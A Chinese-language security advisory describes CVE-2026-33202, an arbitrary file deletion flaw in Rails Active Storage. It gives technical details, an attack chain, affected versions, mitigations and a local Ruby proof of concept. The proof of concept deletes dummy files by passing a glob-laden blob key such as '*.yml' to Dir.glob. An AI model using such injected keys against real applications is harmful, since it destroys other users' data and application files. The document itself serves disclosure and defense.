IPBUF安全漏洞报告
English
CVE-2026-33202 CVSS 9.1 严重

CVE-2026-33202 Rails Active Storage 任意文件删除漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33202
漏洞类型
任意文件删除
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Ruby on Rails (Active Storage)

相关标签

任意文件删除Ruby on RailsActive StorageGlob注入CVSS:9.1

漏洞概述

Ruby on Rails 的 Active Storage 组件存在严重安全漏洞。在特定版本中,`DiskService#delete_prefixed` 方法未对 blob 键进行过滤即传递给 `Dir.glob`。攻击者可利用此缺陷,通过构造包含 glob 元字符的文件名,删除存储目录下非预期的文件。该漏洞无需认证且无需交互即可远程利用,严重影响系统的完整性和可用性。

技术细节

该漏洞的根源在于 Ruby on Rails Active Storage 组件中的 `DiskService#delete_prefixed` 方法未对用户输入进行充分的校验和转义。具体而言,当应用需要清理或删除文件时,该方法直接将存储的 blob key(文件键)作为参数传递给 Ruby 原生的 `Dir.glob` 函数。`Dir.glob` 函数设计用于文件路径匹配,它支持通配符扩展,例如 `*` 可匹配任意字符串,`?` 可匹配单个字符,`[]` 可匹配字符集。如果攻击者能够影响 blob key 的生成(例如在文件上传过程中控制文件名),并在 key 中注入如 `*` 之类的 glob 元字符,调用 `Dir.glob` 时将会返回存储目录下所有匹配该模式的文件路径列表。由于代码逻辑随后会遍历该列表并删除文件,攻击者便能利用这一机制绕过正常的文件访问控制,批量删除存储目录下的非预期文件。这不仅包括其他用户的上传数据,还可能覆盖到应用级别的配置文件或资源文件,导致系统完整性被严重破坏,服务可用性受损。由于该攻击通过网络发起且无需预先认证,其危害性极高。

攻击链分析

STEP 1
侦察
攻击者识别目标 Rails 应用使用 Active Storage 且版本低于 7.2.3.1, 8.0.4.1, 或 8.1.2.1。
STEP 2
武器化
攻击者构造包含 glob 通配符(如 *, ?, [, ])的恶意文件名或 blob key。
STEP 3
投递
通过文件上传功能将文件上传至服务器,确保生成的 blob key 包含上述通配符。
STEP 4
利用
触发应用中的文件删除逻辑(如清理临时文件或删除附件),调用 `DiskService#delete_prefixed`。
STEP 5
影响
由于 `Dir.glob` 展开通配符,存储目录下匹配该模式的所有文件被删除,导致数据丢失。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept for CVE-2026-33202 # This script demonstrates how a malicious blob key containing glob characters # can cause unintended file deletion in vulnerable Active Storage versions. require 'fileutils' # Simulating the vulnerable DiskService#delete_prefixed logic class VulnerableDiskService def initialize(storage_root) @storage_root = storage_root end # Vulnerable method: passes key directly to Dir.glob def delete_prefixed(prefix) pattern = File.join(@storage_root, prefix) puts "[*] Searching for files with pattern: #{pattern}" # Dir.glob expands meta-characters like *, ?, [] Dir.glob(pattern).each do |path| puts "[!] Deleting file: #{path}" File.delete(path) if File.exist?(path) end end end # Setup test environment storage_dir = "./storage_test" FileUtils.mkdir_p(storage_dir) # Create dummy files FileUtils.touch("#{storage_dir}/original_file.txt") FileUtils.touch("#{storage_dir}/important_config.yml") FileUtils.touch("#{storage_dir}/user_data.json") puts "Files before exploit:" Dir.glob("#{storage_dir}/*").each { |f| puts "- #{File.basename(f)}" } # Exploit scenario: # An attacker uploads a file or manipulates the blob key to contain a wildcard (e*) # or simply triggers delete with a prefix that expands to everything. # Here we simulate a blob key like "important*" or just "*" if the key is fully controlled. service = VulnerableDiskService.new(storage_dir) # Triggering the delete with a malicious prefix/key # In a real scenario, this key comes from the database (blob.key) malicious_key = "*.yml" # Targeting config files puts "\n[!] Triggering exploit with key: #{malicious_key}" service.delete_prefixed(malicious_key) puts "\nFiles after exploit:" Dir.glob("#{storage_dir}/*").each { |f| puts "- #{File.basename(f)}" } # Cleanup FileUtils.rm_rf(storage_dir)

影响范围

Ruby on Rails < 7.2.3.1
Ruby on Rails >= 8.0.0, < 8.0.4.1
Ruby on Rails >= 8.1.0, < 8.1.2.1

防御指南

临时缓解措施
建议立即升级至官方发布的修复版本。若无法立即升级,应在应用层面对文件名进行严格校验,过滤 `*`, `?`, `[`, `]`, `{`, `}` 等特殊字符,或使用 WAF 拦截包含这些字符的请求。同时,严格限制上传文件的命名规则,避免使用用户直接输入的字符串作为文件存储键。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表